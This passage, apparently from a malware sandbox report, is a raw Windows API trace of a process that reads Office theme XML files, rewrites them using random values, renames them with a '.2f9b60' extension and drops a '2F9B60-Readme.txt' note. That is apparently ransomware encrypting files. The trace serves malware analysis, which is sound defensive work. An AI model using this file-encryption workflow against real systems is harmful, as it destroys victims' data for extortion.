FileInformation=0x1e8ffb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e8ffaf8, FileInformation=0x1e8ffb08) returned 0x0 [0094.753] NtSetInformationFile (FileHandle=0xdfc, IoStatusBlock=0x1e8ffaf8, FileInformation=0x1e8ffb08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0094.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.754] FlushFileBuffers (hFile=0xdfc) returned 1 [0094.757] CloseHandle (hObject=0xdfc) returned 1 [0094.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0094.758] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0094.758] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0094.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0xffffffff [0094.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdfc [0094.759] WriteFile (in: hFile=0xdfc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1e8ff9b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1e8ff9b0*=0xba9, lpOverlapped=0x0) returned 1 [0094.760] CloseHandle (hObject=0xdfc) returned 1 [0094.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0094.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10a50) returned 1 Thread: id = 578 os_tid = 0xed8 [0094.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml")) returned 0x20 [0094.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml", dwFileAttributes=0x20) returned 1 [0094.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe00 [0094.729] GetFileSizeEx (in: hFile=0xe00, lpFileSize=0x263bfca0 | out: lpFileSize=0x263bfca0*=925) returned 1 [0094.729] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x399, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.729] ReadFile (in: hFile=0xe00, lpBuffer=0x263bfc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x263bfc68, lpOverlapped=0x0 | out: lpBuffer=0x263bfc20*, lpNumberOfBytesRead=0x263bfc68*=0x4, lpOverlapped=0x0) returned 1 [0094.732] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.732] NtQuerySystemTime (in: CurrentTime=0x263bfb60 | out: CurrentTime=0x263bfb60*=132462177005650000) returned 0x0 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x43ac26f7 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x689cc0fe [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x4c3ac60f [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x4f73d663 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x7b3b1fa5 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x74a766c2 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x23de12ab [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x78e75e3c [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x3b44a302 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x54874b25 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x55d7c618 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x544c2d3a [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x339e427f [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x22130ce6 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0xc563877 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x6be94f01 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x63892400 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x5e29d05e [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x76502e17 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x39427a02 [0094.733] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x5a62ffef [0094.734] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x4f82d2eb [0094.734] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x4ab689df [0094.734] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x4537d49a [0094.734] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x16e939ef [0094.734] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x640e2462 [0094.734] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x1e76fd95 [0094.734] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x32184e8f [0094.734] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x64e66a11 [0094.734] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x738abb62 [0094.734] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x21e880a8 [0094.734] RtlRandomEx (in: Seed=0x263bfb50 | out: Seed=0x263bfb50) returned 0x7dff9a54 [0094.746] ReadFile (in: hFile=0xe00, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x39d, lpNumberOfBytesRead=0x263bfb50, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x263bfb50*=0x39d, lpOverlapped=0x0) returned 1 [0094.746] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.746] WriteFile (in: hFile=0xe00, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x39d, lpNumberOfBytesWritten=0x263bfb54, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x263bfb54*=0x39d, lpOverlapped=0x0) returned 1 [0094.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0094.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0094.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd60) returned 1 [0094.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85fd60 [0094.756] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.756] WriteFile (in: hFile=0xe00, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x263bfc70, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x263bfc70*=0x106, lpOverlapped=0x0) returned 1 [0094.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab40 [0094.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab40) returned 1 [0094.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0094.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab40 [0094.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0094.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0094.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f170 [0094.764] sprintf (in: _Dest=0x1cd9f170, _Format="%c%c" | out: _Dest="cc") returned 2 [0094.764] sprintf (in: _Dest=0x1cd9f172, _Format="%c%c" | out: _Dest="2c") returned 2 [0094.764] sprintf (in: _Dest=0x1cd9f174, _Format="%c%c" | out: _Dest="bf") returned 2 [0094.764] sprintf (in: _Dest=0x1cd9f176, _Format="%c%c" | out: _Dest="3d") returned 2 [0094.764] sprintf (in: _Dest=0x1cd9f178, _Format="%c%c" | out: _Dest="de") returned 2 [0094.764] sprintf (in: _Dest=0x1cd9f17a, _Format="%c%c" | out: _Dest="38") returned 2 [0094.764] sprintf (in: _Dest=0x1cd9f17c, _Format="%c%c" | out: _Dest="58") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f17e, _Format="%c%c" | out: _Dest="30") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f180, _Format="%c%c" | out: _Dest="4d") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f182, _Format="%c%c" | out: _Dest="88") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f184, _Format="%c%c" | out: _Dest="db") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f186, _Format="%c%c" | out: _Dest="63") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f188, _Format="%c%c" | out: _Dest="02") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f18a, _Format="%c%c" | out: _Dest="a0") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f18c, _Format="%c%c" | out: _Dest="79") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f18e, _Format="%c%c" | out: _Dest="fc") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f190, _Format="%c%c" | out: _Dest="a5") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f192, _Format="%c%c" | out: _Dest="84") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f194, _Format="%c%c" | out: _Dest="41") returned 2 [0094.765] sprintf (in: _Dest=0x1cd9f196, _Format="%c%c" | out: _Dest="8e") returned 2 [0094.765] RtlInitAnsiString (in: DestinationString=0x263bfce8, SourceString="cc2cbf3dde3858304d88db6302a079fca584418e" | out: DestinationString="cc2cbf3dde3858304d88db6302a079fca584418e") [0094.765] RtlAnsiStringToUnicodeString (in: DestinationString=0x263bfcb8, SourceString="cc2cbf3dde3858304d88db6302a079fca584418e", AllocateDestinationString=1 | out: DestinationString="cc2cbf3dde3858304d88db6302a079fca584418e") returned 0x0 [0094.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c4f0 [0094.765] wcscat (in: _Dest=0x1ce10a50, _Source="cc2cbf3dde" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\cc2cbf3dde") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\cc2cbf3dde" [0094.766] wcscat (in: _Dest=0x1ce10a50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\cc2cbf3dde.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\cc2cbf3dde.2f9b60" [0094.766] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\cc2cbf3dde.2f9b60", NtPathName=0x263bfc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\cc2cbf3dde.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1183a0 [0094.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0094.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.768] NtQueryInformationFile (in: FileHandle=0xe00, IoStatusBlock=0x263bfcf8, FileInformation=0x263bfd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x263bfcf8, FileInformation=0x263bfd08) returned 0x0 [0094.768] NtSetInformationFile (FileHandle=0xe00, IoStatusBlock=0x263bfcf8, FileInformation=0x263bfd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10a50) returned 1 [0094.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c4f0) returned 1 [0094.769] FlushFileBuffers (hFile=0xe00) returned 1 [0094.771] CloseHandle (hObject=0xe00) returned 1 [0094.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0094.772] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0094.772] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0094.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0094.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0094.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5910) returned 1 Thread: id = 579 os_tid = 0xedc [0094.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml")) returned 0x20 [0094.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml", dwFileAttributes=0x20) returned 1 [0094.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe00 [0094.782] GetFileSizeEx (in: hFile=0xe00, lpFileSize=0x25a1f8a0 | out: lpFileSize=0x25a1f8a0*=959) returned 1 [0094.782] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x3bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.782] ReadFile (in: hFile=0xe00, lpBuffer=0x25a1f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25a1f868, lpOverlapped=0x0 | out: lpBuffer=0x25a1f820*, lpNumberOfBytesRead=0x25a1f868*=0x4, lpOverlapped=0x0) returned 1 [0094.784] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0094.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.785] NtQuerySystemTime (in: CurrentTime=0x25a1f760 | out: CurrentTime=0x25a1f760*=132462177006118000) returned 0x0 [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x7d0309d9 [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x3cabaa06 [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x5edf52ce [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x2cc19c6f [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x7a4a79ae [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x1f83c05e [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x341af56c [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x51bdaa20 [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0xb0b4b03 [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x12c74a44 [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x5946548f [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x6a1599ef [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x6e3cc86 [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x3e71f97f [0094.785] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x2f5dbe2 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x67f5f60 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x2ea05d1c [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x2dfcc6f9 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x24fa6dd9 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0xb949a7c [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0xf7093e1 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x66c37176 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x6c477c22 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x59a950f4 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x7995ebd4 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x3d7a5a43 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0xe0ba997 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0xa7b2ce7 [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x3158159f [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0xd94304b [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x3934b98c [0094.786] RtlRandomEx (in: Seed=0x25a1f750 | out: Seed=0x25a1f750) returned 0x6ff46b82 [0094.799] ReadFile (in: hFile=0xe00, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x25a1f750, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x25a1f750*=0x3bf, lpOverlapped=0x0) returned 1 [0094.799] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.799] WriteFile (in: hFile=0xe00, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x25a1f754, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x25a1f754*=0x3bf, lpOverlapped=0x0) returned 1 [0094.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0094.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0094.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85fc40 [0094.805] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.805] WriteFile (in: hFile=0xe00, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x25a1f870, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x25a1f870*=0x102, lpOverlapped=0x0) returned 1 [0094.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0094.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0094.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0094.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0094.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0094.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd30) returned 1 [0094.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1b85fd30 [0094.809] sprintf (in: _Dest=0x1b85fd30, _Format="%c%c" | out: _Dest="8c") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd32, _Format="%c%c" | out: _Dest="c5") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd34, _Format="%c%c" | out: _Dest="f4") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd36, _Format="%c%c" | out: _Dest="a6") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd38, _Format="%c%c" | out: _Dest="6f") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd3a, _Format="%c%c" | out: _Dest="23") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd3c, _Format="%c%c" | out: _Dest="bf") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd3e, _Format="%c%c" | out: _Dest="b3") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd40, _Format="%c%c" | out: _Dest="a9") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd42, _Format="%c%c" | out: _Dest="ab") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd44, _Format="%c%c" | out: _Dest="46") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd46, _Format="%c%c" | out: _Dest="1b") returned 2 [0094.809] sprintf (in: _Dest=0x1b85fd48, _Format="%c%c" | out: _Dest="53") returned 2 [0094.810] sprintf (in: _Dest=0x1b85fd4a, _Format="%c%c" | out: _Dest="b5") returned 2 [0094.810] sprintf (in: _Dest=0x1b85fd4c, _Format="%c%c" | out: _Dest="8b") returned 2 [0094.810] sprintf (in: _Dest=0x1b85fd4e, _Format="%c%c" | out: _Dest="9f") returned 2 [0094.810] RtlInitAnsiString (in: DestinationString=0x25a1f8e8, SourceString="8cc5f4a66f23bfb3a9ab461b53b58b9f" | out: DestinationString="8cc5f4a66f23bfb3a9ab461b53b58b9f") [0094.810] RtlAnsiStringToUnicodeString (in: DestinationString=0x25a1f8b8, SourceString="8cc5f4a66f23bfb3a9ab461b53b58b9f", AllocateDestinationString=1 | out: DestinationString="8cc5f4a66f23bfb3a9ab461b53b58b9f") returned 0x0 [0094.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97120 [0094.810] wcscat (in: _Dest=0x1b7a5910, _Source="8cc5f4a6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cc5f4a6") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cc5f4a6" [0094.810] wcscat (in: _Dest=0x1b7a5910, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cc5f4a6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cc5f4a6.2f9b60" [0094.810] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cc5f4a6.2f9b60", NtPathName=0x25a1f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8cc5f4a6.2f9b60", 